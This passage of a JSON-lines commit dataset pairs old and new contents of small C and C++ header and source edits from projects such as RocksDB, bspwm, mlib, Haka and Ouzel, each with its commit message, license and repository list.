ner\/grpc,dklempner\/grpc,vjpai\/grpc,grpc\/grpc,grpc\/grpc,malexzx\/grpc,kpayson64\/grpc,tamihiro\/grpc,infinit\/grpc,hstefan\/grpc,grpc\/grpc,zhimingxie\/grpc,ppietrasa\/grpc,stanley-cheung\/grpc,zhimingxie\/grpc,dgquintas\/grpc,a-veitch\/grpc,carl-mastrangelo\/grpc,kumaralokgithub\/grpc,baylabs\/grpc,perumaalgoog\/grpc,grpc\/grpc,jcanizales\/grpc,geffzhang\/grpc,firebase\/grpc,sreecha\/grpc,VcamX\/grpc,podsvirov\/grpc,pszemus\/grpc,simonkuang\/grpc,ejona86\/grpc,thinkerou\/grpc,miselin\/grpc,greasypizza\/grpc,adelez\/grpc,quizlet\/grpc,pmarks-net\/grpc,matt-kwong\/grpc,jboeuf\/grpc,infinit\/grpc,yugui\/grpc,y-zeng\/grpc,sreecha\/grpc,firebase\/grpc,yugui\/grpc,philcleveland\/grpc,adelez\/grpc,7anner\/grpc,kumaralokgithub\/grpc,daniel-j-born\/grpc,msiedlarek\/grpc,royalharsh\/grpc,murgatroid99\/grpc,jboeuf\/grpc,a-veitch\/grpc,podsvirov\/grpc,fuchsia-mirror\/third_party-grpc,philcleveland\/grpc,LuminateWireless\/grpc,firebase\/grpc,dklempner\/grpc,yongni\/grpc,sreecha\/grpc,y-zeng\/grpc,simonkuang\/grpc,donnadionne\/grpc,arkmaxim\/grpc,jboeuf\/grpc,pszemus\/grpc,adelez\/grpc,grani\/grpc,ctiller\/grpc,PeterFaiman\/ruby-grpc-minimal,yugui\/grpc,7anner\/grpc,msiedlarek\/grpc,nicolasnoble\/grpc,royalharsh\/grpc,Crevil\/grpc,a11r\/grpc,stanley-cheung\/grpc,carl-mastrangelo\/grpc,quizlet\/grpc,ejona86\/grpc,thinkerou\/grpc,geffzhang\/grpc,deepaklukose\/grpc,ananthonline\/grpc,VcamX\/grpc,sreecha\/grpc,dgquintas\/grpc,makdharma\/grpc,thinkerou\/grpc,vjpai\/grpc,vjpai\/grpc,ncteisen\/grpc,jboeuf\/grpc,apolcyn\/grpc,LuminateWireless\/grpc,a-veitch\/grpc,malexzx\/grpc,matt-kwong\/grpc,leifurhauks\/grpc,kumaralokgithub\/grpc,malexzx\/grpc,geffzhang\/grpc,kpayson64\/grpc,vjpai\/grpc,ppietrasa\/grpc,quizlet\/grpc,msmania\/grpc,makdharma\/grpc,geffzhang\/grpc,fuchsia-mirror\/third_party-grpc,perumaalgoog\/grpc,pszemus\/grpc,kumaralokgithub\/grpc,grani\/grpc,muxi\/grpc,dgquintas\/grpc,murgatroid99\/grpc,kskalski\/grpc,soltanmm-google\/grpc,quizlet\/grpc,LuminateWireless\/grpc,y-zeng\/grpc,carl-mastrangelo\/grpc,hstefan\/grpc,grani\/grpc,tamihiro\/grpc,kpayson64\/grpc,sreecha\/grpc,philcleveland\/grpc,soltanmm\/grpc,andrewpollock\/grpc,donnadionne\/grpc,mehrdada\/grpc,pszemus\/grpc,ppietrasa\/grpc,grani\/grpc,bogdandrutu\/grpc,VcamX\/grpc,chrisdunelm\/grpc,msmania\/grpc,malexzx\/grpc,soltanmm-google\/grpc,a11r\/grpc,thunderboltsid\/grpc,ncteisen\/grpc,muxi\/grpc,tengyifei\/grpc,a-veitch\/grpc,soltanmm\/grpc,stanley-cheung\/grpc,kskalski\/grpc,wcevans\/grpc,kriswuollett\/grpc,MakMukhi\/grpc,a11r\/grpc,a11r\/grpc,ejona86\/grpc,muxi\/grpc,geffzhang\/grpc,7anner\/grpc,tengyifei\/grpc,7anner\/grpc,Vizerai\/grpc,ctiller\/grpc,carl-mastrangelo\/grpc,Vizerai\/grpc,fuchsia-mirror\/third_party-grpc,chrisdunelm\/grpc,donnadionne\/grpc,kpayson64\/grpc,MakMukhi\/grpc,adelez\/grpc,firebase\/grpc,royalharsh\/grpc,Crevil\/grpc,baylabs\/grpc,nicolasnoble\/grpc,chrisdunelm\/grpc,leifurhauks\/grpc,thinkerou\/grpc,deepaklukose\/grpc,daniel-j-born\/grpc,perumaalgoog\/grpc,bogdandrutu\/grpc,msiedlarek\/grpc,dgquintas\/grpc,podsvirov\/grpc,leifurhauks\/grpc,wcevans\/grpc,hstefan\/grpc,pszemus\/grpc,zhimingxie\/grpc,pszemus\/grpc,pmarks-net\/grpc,kskalski\/grpc,ejona86\/grpc,goldenbull\/grpc,ananthonline\/grpc,ctiller\/grpc,dgquintas\/grpc,nicolasnoble\/grpc,royalharsh\/grpc,goldenbull\/grpc,PeterFaiman\/ruby-grpc-minimal,pszemus\/grpc,ananthonline\/grpc,7anner\/grpc,msiedlarek\/grpc,Vizerai\/grpc,VcamX\/grpc,grpc\/grpc,nicolasnoble\/grpc,bogdandrutu\/grpc,stanley-cheung\/grpc,carl-mastrangelo\/grpc,miselin\/grpc,muxi\/grpc,ctiller\/grpc,daniel-j-born\/grpc,ncteisen\/grpc,goldenbull\/grpc,msmania\/grpc,daniel-j-born\/grpc,jtattermusch\/grpc,firebase\/grpc,thunderboltsid\/grpc,goldenbull\/grpc,pszemus\/grpc,infinit\/grpc,andrewpollock\/grpc,pszemus\/grpc,arkmaxim\/grpc,philcleveland\/grpc,ipylypiv\/grpc,thinkerou\/grpc,ctiller\/grpc,matt-kwong\/grpc,ctiller\/grpc,nicolasnoble\/grpc,PeterFaiman\/ruby-grpc-minimal,y-zeng\/grpc,MakMukhi\/grpc,apolcyn\/grpc,dgquintas\/grpc,rjshade\/grpc,vjpai\/grpc,y-zeng\/grpc,vsco\/grpc,baylabs\/grpc,muxi\/grpc,carl-mastrangelo\/grpc,grpc\/grpc,miselin\/grpc,mehrdada\/grpc,royalharsh\/grpc,msmania\/grpc,dklempner\/grpc,MakMukhi\/grpc,soltanmm-google\/grpc,kriswuollett\/grpc,ananthonline\/grpc,adelez\/grpc,mehrdada\/grpc,ipylypiv\/grpc,yongni\/grpc,Crevil\/grpc,kskalski\/grpc,sreecha\/grpc,bogdandrutu\/grpc,ipylypiv\/grpc,podsvirov\/grpc,adelez\/grpc,philcleveland\/grpc,ejona86\/grpc,pszemus\/grpc,vsco\/grpc,thinkerou\/grpc,soltanmm\/grpc,tengyifei\/grpc,makdharma\/grpc,infinit\/grpc,deepaklukose\/grpc,jtattermusch\/grpc,msiedlarek\/grpc,chrisdunelm\/grpc,jcanizales\/grpc,perumaalgoog\/grpc,rjshade\/grpc,ncteisen\/grpc,firebase\/grpc,pszemus\/grpc,leifurhauks\/grpc,miselin\/grpc,sreecha\/grpc,ipylypiv\/grpc,thinkerou\/grpc,soltanmm-google\/grpc,donnadionne\/grpc,arkmaxim\/grpc,goldenbull\/grpc,greasypizza\/grpc,dgquintas\/grpc,chrisdunelm\/grpc,firebase\/grpc,apolcyn\/grpc,pmarks-net\/grpc,yang-g\/grpc,perumaalgoog\/grpc,chrisdunelm\/grpc,matt-kwong\/grpc,deepaklukose\/grpc,jtattermusch\/grpc,hstefan\/grpc,nicolasnoble\/grpc,thinkerou\/grpc,vjpai\/grpc,pmarks-net\/grpc,LuminateWireless\/grpc,adelez\/grpc,Crevil\/grpc,kumaralokgithub\/grpc,ctiller\/grpc,ppietrasa\/grpc,tamihiro\/grpc,andrewpollock\/grpc,arkmaxim\/grpc,wcevans\/grpc,donnadionne\/grpc,leifurhauks\/grpc,kskalski\/grpc,7anner\/grpc,tengyifei\/grpc,LuminateWireless\/grpc,mehrdada\/grpc,jtattermusch\/grpc,vsco\/grpc,muxi\/grpc,vsco\/grpc,yongni\/grpc,tengyifei\/grpc"}
{"commit":"a84cee8127a0e9724b26e7d1d527f220c358c328","old_file":"util\/cast_util.h","new_file":"util\/cast_util.h","old_contents":"\/\/  Copyright (c) 2011-present, Facebook, Inc.  All rights reserved.\n\/\/  This source code is licensed under both the GPLv2 (found in the\n\/\/  COPYING file in the root directory) and Apache 2.0 License\n\/\/  (found in the LICENSE.Apache file in the root directory).\n\nnamespace rocksdb {\n\/\/ The helper function to assert the move from dynamic_cast<> to\n\/\/ static_cast<> is correct. This function is to deal with legacy code.\n\/\/ It is not recommanded to add new code to issue class casting. The preferred\n\/\/ solution is to implement the functionality without a need of casting.\ntemplate <class DestClass, class SrcClass>\ninline DestClass* static_cast_with_check(SrcClass* x) {\n  DestClass* ret = static_cast<DestClass*>(x);\n#ifdef ROCKSDB_USE_RTTI\n  assert(ret == dynamic_cast<DestClass*>(x));\n#endif\n  return ret;\n}\n}  \/\/ namespace rocksdb\n","new_contents":"\/\/  Copyright (c) 2011-present, Facebook, Inc.  All rights reserved.\n\/\/  This source code is licensed under both the GPLv2 (found in the\n\/\/  COPYING file in the root directory) and Apache 2.0 License\n\/\/  (found in the LICENSE.Apache file in the root directory).\n\n#pragma once\n\nnamespace rocksdb {\n\/\/ The helper function to assert the move from dynamic_cast<> to\n\/\/ static_cast<> is correct. This function is to deal with legacy code.\n\/\/ It is not recommanded to add new code to issue class casting. The preferred\n\/\/ solution is to implement the functionality without a need of casting.\ntemplate <class DestClass, class SrcClass>\ninline DestClass* static_cast_with_check(SrcClass* x) {\n  DestClass* ret = static_cast<DestClass*>(x);\n#ifdef ROCKSDB_USE_RTTI\n  assert(ret == dynamic_cast<DestClass*>(x));\n#endif\n  return ret;\n}\n}  \/\/ namespace rocksdb\n","subject":"Add a missing \"once\" in .h","message":"Add a missing \"once\" in .h\n\nSummary: Closes https:\/\/github.com\/facebook\/rocksdb\/pull\/2670\n\nDifferential Revision: D5529018\n\nPulled By: siying\n\nfbshipit-source-id: 10a378933d509035d2dbe502247dd85fcea09789\n","lang":"C","license":"bsd-3-clause","repos":"Andymic\/rocksdb,Andymic\/rocksdb,SunguckLee\/RocksDB,bbiao\/rocksdb,bbiao\/rocksdb,bbiao\/rocksdb,SunguckLee\/RocksDB,SunguckLee\/RocksDB,SunguckLee\/RocksDB,bbiao\/rocksdb,Andymic\/rocksdb,bbiao\/rocksdb,SunguckLee\/RocksDB,bbiao\/rocksdb,Andymic\/rocksdb,bbiao\/rocksdb,SunguckLee\/RocksDB,bbiao\/rocksdb,SunguckLee\/RocksDB,Andymic\/rocksdb,Andymic\/rocksdb,Andymic\/rocksdb,Andymic\/rocksdb,SunguckLee\/RocksDB"}
{"commit":"ad7dfb9776553aefa94360bcf87032bea8a069fa","old_file":"helpers.h","new_file":"helpers.h","old_contents":"#ifndef _HELPERS_H\n#define _HELPERS_H\n\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdint.h>\n\n#define LENGTH(x)         (sizeof(x) \/ sizeof(*x))\n#define MAX(A, B)         ((A) > (B) ? (A) : (B))\n#define MIN(A, B)         ((A) < (B) ? (A) : (B))\n#define BOOLSTR(A)        ((A) ? \"true\" : \"false\")\n\n#define MAXLEN  256\n#define XCB_CONFIG_WINDOW_X_Y_WIDTH_HEIGHT XCB_CONFIG_WINDOW_X | XCB_CONFIG_WINDOW_Y | XCB_CONFIG_WINDOW_WIDTH | XCB_CONFIG_WINDOW_HEIGHT\n#define XCB_CONFIG_WINDOW_X_Y XCB_CONFIG_WINDOW_X | XCB_CONFIG_WINDOW_Y\n\n#ifdef DEBUG\n#  define PUTS(x)         puts(x)\n#  define PRINTF(x,...)   printf(x, ##__VA_ARGS__)\n#else\n#  define PUTS(x)         ((void)0)\n#  define PRINTF(x,...)   ((void)0)\n#endif\n\nvoid logmsg(FILE *, char *, va_list);\nvoid warn(char *, ...);\n__attribute__((noreturn))\nvoid die(char *, ...);\nuint32_t get_color(char *);\n\n#endif\n","new_contents":"#ifndef _HELPERS_H\n#define _HELPERS_H\n\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdint.h>\n\n#define LENGTH(x)         (sizeof(x) \/ sizeof(*x))\n#define MAX(A, B)         ((A) > (B) ? (A) : (B))\n#define MIN(A, B)         ((A) < (B) ? (A) : (B))\n#define BOOLSTR(A)        ((A) ? \"true\" : \"false\")\n\n#define MAXLEN  256\n#define XCB_CONFIG_WINDOW_X_Y_WIDTH_HEIGHT XCB_CONFIG_WINDOW_X | XCB_CONFIG_WINDOW_Y | XCB_CONFIG_WINDOW_WIDTH | XCB_CONFIG_WINDOW_HEIGHT\n#define XCB_CONFIG_WINDOW_X_Y XCB_CONFIG_WINDOW_X | XCB_CONFIG_WINDOW_Y\n\n#ifdef DEBUG\n#  define PUTS(x)         puts(x)\n#  define PRINTF(x,...)   printf(x, __VA_ARGS__)\n#else\n#  define PUTS(x)         ((void)0)\n#  define PRINTF(x,...)   ((void)0)\n#endif\n\nvoid logmsg(FILE *, char *, va_list);\nvoid warn(char *, ...);\n__attribute__((noreturn))\nvoid die(char *, ...);\nuint32_t get_color(char *);\n\n#endif\n","subject":"Address the non-portability of the PRINTF macro","message":"Address the non-portability of the PRINTF macro\n","lang":"C","license":"bsd-2-clause","repos":"nfnty\/bspwm,0re5ama\/bspwm,netzverweigerer\/bspwm,nfnty\/bspwm,JBouron\/bspwm,JBouron\/bspwm,XiKuuKy\/bspwm,JBouron\/bspwm,medisun\/bspwm,Stebalien\/bspwm,jbalint\/bspwm,jbalint\/bspwm,nfnty\/bspwm,baskerville\/bspwm,0re5ama\/bspwm,medisun\/bspwm,medisun\/bspwm,XiKuuKy\/bspwm,ikn\/bspwm,netzverweigerer\/bspwm,baskerville\/bspwm,0re5ama\/bspwm,Stebalien\/bspwm,ikn\/bspwm,jbalint\/bspwm"}
{"commit":"a6d8dea8b4792df8c762c3038aba19b8b031387f","old_file":"whitebalancing.h","new_file":"whitebalancing.h","old_contents":"","new_contents":"#ifndef WHITE_BALANCING_H\n#define WHITE_BALANCING_H\n\n#include <stdio.h>\n#include <stdlib.h>\n\ntypedef unsigned char byte;\n\nvoid compute_color_histogram(byte *color, byte *histogram, int width, int height)\n{\n    for (int i = 0; i < 256; ++i) {\n        histogram[i] = 0;\n    }\n\n    for (int i = 0; i < width * height; ++i) {\n        histogram[color[i]]++;\n    }\n}\n\nvoid histogram_stretch(byte *color, byte *histogram, int width, int height)\n{\n    int low = 0;\n    int high = 255;\n    int local_low = 0;\n    int local_high = 255;\n\n    int five_percent_limit = ((float)(5 \/ 100)) * (width * height);\n\n    int counter = 0;\n    for (int i = 0; i < 256; ++i) {\n        counter += histogram[i];\n        if (counter > five_percent_limit) {\n            local_low = i;\n        }\n    }\n\n    counter = 0;\n    for (int i = 255; i >= 0; --i) {\n        counter += histogram[i];\n        if (counter > five_percent_limit) {\n            local_high = i;\n        }\n    }\n\n    for (int i = 0; i < width * height; ++i) {\n        color[i] = (color[i] - local_low) * ((high - low) \/\n                (local_high - local_low)) + low;\n    }\n}\n\n\n#endif\n","subject":"Implement helper functions for white balancing","message":"Implement helper functions for white balancing\n","lang":"C","license":"apache-2.0","repos":"Corly\/ImageProcessing,Corly\/ImageProcessing,Corly\/ImageProcessing"}
{"commit":"172df98c0d9ca58afe0eb846f1edd2c888ffe273","old_file":"example\/ex-dict04.c","new_file":"example\/ex-dict04.c","old_contents":"","new_contents":"#include <stdio.h>\n#include \"m-string.h\"\n#include \"m-dict.h\"\n\n\/* program that reads text from standard-input, \n   and prints the total number of distinct words found in the text. \n*\/\nDICT_SET_DEF2(str, string_t, STRING_OPLIST)\n\nint main(void)\n{\n  M_LET(word, STRING_OPLIST)\n    M_LET(wordcount, DICT_SET_OPLIST(str, STRING_OPLIST)) {\n    while (string_fget_word(word, \" \\t\\n,.!;:?\", stdin))\n      dict_str_set_at(wordcount, word);\n    printf (\"Words: %lu\\n\", dict_str_size(wordcount));\n  }\n}\n","subject":"Add new example based on set and word counts.","message":"Add new example based on set and word counts.\n","lang":"C","license":"bsd-2-clause","repos":"P-p-H-d\/mlib,P-p-H-d\/mlib"}
{"commit":"7438c35b557fb834703ecc8c35acb20d2fd5abcc","old_file":"include\/rmd160.h","new_file":"include\/rmd160.h","old_contents":"#ifndef _RMD160_H_\n#define _RMD160_H_\n\ntypedef struct {\n\tunsigned int\trmd[5];\n\tunsigned char\tbuf[64];\n\tunsigned int\tnbuf;\n} rmd160_context;\n\nvoid rmd160_init(rmd160_context *ctx);\nvoid rmd160_update(rmd160_context *ctx, const void *data, unsigned len);\nvoid rmd160_final(rmd160_context *ctx, void *digest);\nvoid rmd160_hash(const void *input, unsigned len, void *digest); \/\/ digest must be 20 bytes\n\n#endif \/* !_RMD160_H_ *\/\n","new_contents":"#ifndef _RMD160_H_\n#define _RMD160_H_\n\n#include <stdint.h>\n\ntypedef struct {\n\tuint64_t\tlen;\n\tuint32_t\trmd[5];\n\tuint8_t\t\tbuf[64];\n\tuint32_t\tnbuf;\n} rmd160_context;\n\nvoid rmd160_init(rmd160_context *ctx);\nvoid rmd160_update(rmd160_context *ctx, const void *data, unsigned nbytes);\nvoid rmd160_final(rmd160_context *ctx, unsigned char digest[20]);\nvoid rmd160_hash(const void *input, unsigned len, unsigned char digest[20]);\n\n#endif \/* !_RMD160_H_ *\/\n","subject":"Use C99 stdint types, update prototypes.","message":"Use C99 stdint types, update prototypes.\n","lang":"C","license":"bsd-2-clause","repos":"fmela\/weecrypt,fmela\/weecrypt"}
{"commit":"1f5f35cc0e89312c6b6aef13689ab0c821d36da6","old_file":"src\/modules\/cpufreq\/e_mod_main.h","new_file":"src\/modules\/cpufreq\/e_mod_main.h","old_contents":"#ifndef E_MOD_MAIN_H\n#define E_MOD_MAIN_H\n\ntypedef struct _Status       Status;\ntypedef struct _Config       Config;\n\nstruct _Status\n{\n   Evas_List     *frequencies;\n   Evas_List     *governors;\n   int            cur_frequency;\n   int            can_set_frequency;\n   char          *cur_governor;\n   unsigned char  active;\n};\n\nstruct _Config\n{\n   \/* saved * loaded config values *\/\n   double       poll_time;\n   int          restore_governor;\n   const char  *governor;\n   \/* just config state *\/\n   E_Module    *module;\n   Evas_List   *instances;\n   E_Menu      *menu;\n   E_Menu      *menu_poll;\n   E_Menu      *menu_governor;\n   E_Menu      *menu_frequency;\n   Status      *status;\n   char        *set_exe_path;\n   Ecore_Timer *frequency_check_timer;\n};\n\nEAPI extern E_Module_Api e_modapi;\n\nEAPI void *e_modapi_init     (E_Module *m);\nEAPI int   e_modapi_shutdown (E_Module *m);\nEAPI int   e_modapi_save     (E_Module *m);\nEAPI int   e_modapi_about    (E_Module *m);\n\n#endif\n","new_contents":"#ifndef E_MOD_MAIN_H\n#define E_MOD_MAIN_H\n\ntypedef struct _Status       Status;\ntypedef struct _Config       Config;\n\nstruct _Status\n{\n   Evas_List     *frequencies;\n   Evas_List     *governors;\n   int            cur_frequency;\n   int            can_set_frequency;\n   char          *cur_governor;\n   unsigned char  active;\n};\n\nstruct _Config\n{\n   \/* saved * loaded config values *\/\n   double       poll_time;\n   int          restore_governor;\n   const char  *governor;\n   \/* just config state *\/\n   E_Module    *module;\n   Evas_List   *instances;\n   E_Menu      *menu;\n   E_Menu      *menu_poll;\n   E_Menu      *menu_governor;\n   E_Menu      *menu_frequency;\n   Status      *status;\n   char        *set_exe_path;\n   Ecore_Timer *frequency_check_timer;\n};\n\nEAPI extern E_Module_Api e_modapi;\n\nEAPI void *e_modapi_init     (E_Module *m);\nEAPI int   e_modapi_shutdown (E_Module *m);\nEAPI int   e_modapi_save     (E_Module *m);\n\n#endif\n","subject":"Remove unused (and deprecated) declaration.","message":"Remove unused (and deprecated) declaration.\n\n\ngit-svn-id: 0f3f1c46c6da7ffd142db61e503a7ff63af3a195@32298 7cbeb6ba-43b4-40fd-8cce-4c39aea84d33\n","lang":"C","license":"bsd-2-clause","repos":"jordemort\/e17,jordemort\/e17,jordemort\/e17"}
{"commit":"62a27af5a8c9e03a1bfbf6ec796917277ee263d1","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include \"nrf_delay.h\"\n#include \"nrf_gpio.h\"\n\n\nint main(void){\n    nrf_gpio_range_cfg_output(21,22);\n    while(1){\n        nrf_gpio_pin_write(21,1);\n        nrf_gpio_pin_write(22,1);\n\n        nrf_delay_ms(80);\n        \n        nrf_gpio_pin_write(21, 1);\n        nrf_gpio_pin_write(22, 1);\n        nrf_delay_ms(80);\n    }\n}\n","new_contents":"#include \"nrf_delay.h\"\n#include \"nrf_gpio.h\"\n\n\nint main(void){\n    nrf_gpio_range_cfg_output(21,22);\n    while(1){\n        nrf_gpio_pin_write(21,1);\n        nrf_gpio_pin_write(22,0);\n\n        nrf_delay_ms(80);\n        \n        nrf_gpio_pin_write(21, 0);\n        nrf_gpio_pin_write(22, 1);\n        nrf_delay_ms(80);\n    }\n}\n","subject":"Fix C program - Leds were not toggling anymore","message":"Fix C program - Leds were not toggling anymore\n","lang":"C","license":"mit","repos":"rbarzic\/nrf5x-dk-gcc,wulffern\/nrf52-shiftreg,rbarzic\/nrf5x-dk-gcc,wulffern\/nrf52-shiftreg"}
{"commit":"c60e3d16e8f405b2e56bf530aa550e6223fca0f7","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include \"common.h\"\n\n#include \"arguments.h\"\n\nTCHAR *get_version(void)\n{\n\treturn _T(\"HostKit Agent PREALPHA\\nCompiled at \") __TIME__ _T(\" on \") __DATE__ _T(\"\\n\");\n}\n\nint _tmain(int argc, TCHAR *argv[])\n{\n\tint result;\n\n\tinitialize_arguments();\n\n\tif(parse_arguments(argv) != ARGS_OK || arguments.error) {\n\t\t_tprintf(_T(\"%s\"), get_help());\n\t\tquit();\n\t}\n\n\tif(arguments.debug) {\n\t\t_ftprintf(stderr, _T(\"Debug log is enabled.\\n\"));\n\t}\n\n\tif(arguments.version == TRUE) {\n\t\t_tprintf(_T(\"%s\"), get_version());\n\t\tquit();\n\t}\n\n\tif(arguments.service == TRUE) {\n\t\tresult = servicize();\n\t\tif(result != 0) {\n\t\t\t_ftprintf(stderr, _T(\"Unable to install as service.\\n\"));\n\t\t}\n\t\tquit();\n\t}\n\n\tif(arguments.persistent == TRUE) {\n\t\tresult = persist();\n\t\tif(result != 0) {\n\t\t\t_ftprintf(stderr, _T(\"An occurred when running persistent.\\n\"));\n\t\t}\n\t\tquit();\n\t}\n\n\t\n\n\treturn 0;\n}\n","new_contents":"#include \"common.h\"\n\n#include \"arguments.h\"\n\nTCHAR *get_version(void)\n{\n\treturn _T(\"HostKit Agent PREALPHA\\nCompiled at \") __TIME__ _T(\" on \") __DATE__ _T(\"\\n\");\n}\n\nTCHAR *get_copyright(void)\n{\n\treturn _T(\"\");\n}\n\nint _tmain(int argc, TCHAR *argv[])\n{\n\tint result;\n\n\tinitialize_arguments();\n\n\tif(parse_arguments(argv) != ARGS_OK || arguments.error) {\n\t\t_tprintf(_T(\"%s\"), get_help());\n\t\tquit();\n\t}\n\n\tif(arguments.debug) {\n\t\t_ftprintf(stderr, _T(\"Debug log is enabled.\\n\"));\n\t}\n\n\tif(arguments.version == TRUE) {\n\t\t_tprintf(_T(\"%s\"), get_version());\n\t\t_tprintf(_T(\"%s\"), get_copyright());\n\t\tquit();\n\t}\n\n\tif(arguments.service == TRUE) {\n\t\tresult = servicize();\n\t\tif(result != 0) {\n\t\t\t_ftprintf(stderr, _T(\"Unable to install as service.\\n\"));\n\t\t}\n\t\tquit();\n\t}\n\n\tif(arguments.persistent == TRUE) {\n\t\tresult = persist();\n\t\tif(result != 0) {\n\t\t\t_ftprintf(stderr, _T(\"An occurred when running persistent.\\n\"));\n\t\t}\n\t\tquit();\n\t}\n\n\n\n\treturn 0;\n}\n","subject":"Add stub for legal notice.","message":"Add stub for legal notice.\n","lang":"C","license":"bsd-2-clause","repos":"abenson\/hostkit,abenson\/hostkit"}
{"commit":"667e5c1daf0f5e6183361e8c6ff47b34bae3bea3","old_file":"src\/uart.c","new_file":"src\/uart.c","old_contents":"#include \"uart.h\"\n\nvoid uart_putchar(char c, FILE *stream) {\n    if( c == '\\n' )\n        uart_putchar( '\\r', stream );\n    UDR0 = c;\n    loop_until_bit_is_set(UCSR0A, TXC0);\n}\n\nstatic FILE uart_out = FDEV_SETUP_STREAM(uart_putchar, NULL, _FDEV_SETUP_WRITE);\n\nvoid uart_init(void) {\n    UBRR0L = BAUDRATE&0xFF;\n    UBRR0H = (BAUDRATE>>8);\n\n#if USE_2X\n    UCSR0A |= _BV(U2X0);\n#else\n    UCSR0A &= ~(_BV(U2X0));\n#endif\n\n    UCSR0C = _BV(UCSZ01) | _BV(UCSZ00); \/* 8-bit data *\/\n    UCSR0B = _BV(RXEN0) | _BV(TXEN0);   \/* Enable RX and TX *\/\n    stdout = &uart_out;\n}\n","new_contents":"#include \"uart.h\"\n\nvoid uart_putchar(char c, FILE *stream) {\n    if( c == '\\n' )\n        uart_putchar('\\r', stream);\n    loop_until_bit_is_set(UCSR0A, UDRE0);\n    UDR0 = c;\n}\n\nstatic FILE uart_out = FDEV_SETUP_STREAM(uart_putchar, NULL, _FDEV_SETUP_WRITE);\n\nvoid uart_init(void) {\n    UBRR0L = BAUDRATE&0xFF;\n    UBRR0H = (BAUDRATE>>8);\n\n#if USE_2X\n    UCSR0A |= _BV(U2X0);\n#else\n    UCSR0A &= ~(_BV(U2X0));\n#endif\n\n    UCSR0C = _BV(UCSZ01) | _BV(UCSZ00); \/* 8-bit data *\/\n    UCSR0B = _BV(RXEN0) | _BV(TXEN0);   \/* Enable RX and TX *\/\n    stdout = &uart_out;\n}\n","subject":"Reorder UART transmission. Instead of waiting for cache to be empty and then sending the value, we first add the value to cache and then wait for transmission. This way no characters are lost during transmission","message":"Reorder UART transmission. Instead of waiting for cache to be empty and then sending the value, we first add the value to cache and then wait for transmission. This way no characters are lost during transmission\n","lang":"C","license":"mit","repos":"nathanhi\/steep-beta,nathanhi\/steep-beta"}
{"commit":"e95489710c532a005dec1eac1f742d2c794d14d3","old_file":"lib\/haka\/regexp_module.c","new_file":"lib\/haka\/regexp_module.c","old_contents":"\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#include <haka\/error.h>\n#include <haka\/regexp_module.h>\n\nstruct regexp_module *regexp_module_load(const char *module_name, struct parameters *args) {\n\tstruct module *module = module_load(module_name, args);\n\tif (module == NULL || module->type != MODULE_REGEXP) {\n\t\terror(L\"Module %s is not of type MODULE_REGEXP\", module_name);\n\t\treturn NULL;\n\t}\n\n\treturn (struct regexp_module *)module;\n}\n","new_contents":"\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#include <haka\/error.h>\n#include <haka\/regexp_module.h>\n\nstruct regexp_module *regexp_module_load(const char *module_name, struct parameters *args) {\n\tstruct module *module = module_load(module_name, args);\n\tif (module == NULL || module->type != MODULE_REGEXP) {\n\t\tif (module != NULL) module_release(module);\n\t\terror(L\"Module %s is not of type MODULE_REGEXP\", module_name);\n\t\treturn NULL;\n\t}\n\n\treturn (struct regexp_module *)module;\n}\n","subject":"Fix memory leak on regexp module load","message":"Fix memory leak on regexp module load\n","lang":"C","license":"mpl-2.0","repos":"nabilbendafi\/haka,haka-security\/haka,Wingless-Archangel\/haka,Wingless-Archangel\/haka,lcheylus\/haka,LubyRuffy\/haka,lcheylus\/haka,nabilbendafi\/haka,LubyRuffy\/haka,haka-security\/haka,nabilbendafi\/haka,lcheylus\/haka,haka-security\/haka"}
{"commit":"c3a30babd416d7c91ba0d187ff9e57df49930595","old_file":"ouzel\/input\/linux\/InputLinux.h","new_file":"ouzel\/input\/linux\/InputLinux.h","old_contents":"\/\/ Copyright (C) 2017 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#pragma once\n\n#include <X11\/keysym.h>\n#include <X11\/XKBlib.h>\n#include <X11\/cursorfont.h>\n#include <X11\/X.h>\n#include \"input\/Input.h\"\n\nnamespace ouzel\n{\n    class Engine;\n\n    namespace input\n    {\n        class InputLinux: public Input\n        {\n            friend Engine;\n        public:\n            static KeyboardKey convertKeyCode(KeySym keyCode);\n            static uint32_t getModifiers(unsigned int state);\n\n            virtual ~InputLinux();\n\n            virtual void setCursorVisible(bool visible) override;\n            virtual bool isCursorVisible() const override;\n\n            virtual void setCursorLocked(bool locked) override;\n            virtual bool isCursorLocked() const override;\n\n            virtual void setCursorPosition(const Vector2& position) override;\n\n        protected:\n            InputLinux();\n            virtual bool init() override;\n\n            bool cursorVisible = true;\n            bool cursorLocked = false;\n            Cursor emptyCursor = None;\n        };\n    } \/\/ namespace input\n} \/\/ namespace ouzel\n","new_contents":"\/\/ Copyright (C) 2017 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#pragma once\n\n#include <X11\/keysym.h>\n#include <X11\/XKBlib.h>\n#include <X11\/cursorfont.h>\n#include <X11\/X.h>\n#include \"input\/Input.h\"\n\nnamespace ouzel\n{\n    class Engine;\n\n    namespace input\n    {\n        class InputLinux: public Input\n        {\n            friend Engine;\n        public:\n            static KeyboardKey convertKeyCode(KeySym keyCode);\n            static uint32_t getModifiers(unsigned int state);\n\n            virtual ~InputLinux();\n\n            virtual void setCursorVisible(bool visible) override;\n            virtual bool isCursorVisible() const override;\n\n            virtual void setCursorLocked(bool locked) override;\n            virtual bool isCursorLocked() const override;\n\n            virtual void setCursorPosition(const Vector2& position) override;\n\n        protected:\n            InputLinux();\n            virtual bool init() override;\n\n            bool cursorVisible = true;\n            bool cursorLocked = false;\n            ::Cursor emptyCursor = None;\n        };\n    } \/\/ namespace input\n} \/\/ namespace ouzel\n","subject":"Fix the declaration of Cursor on Linux","message":"Fix the declaration of Cursor on Linux\n","lang":"C","license":"unlicense","repos":"Hotspotmar\/ouzel,elvman\/ouzel,elnormous\/ouzel,Hotspotmar\/ouzel,elnormous\/ouzel,elnormous\/ouzel,Hotspotmar\/ouzel,elvman\/ouzel"}
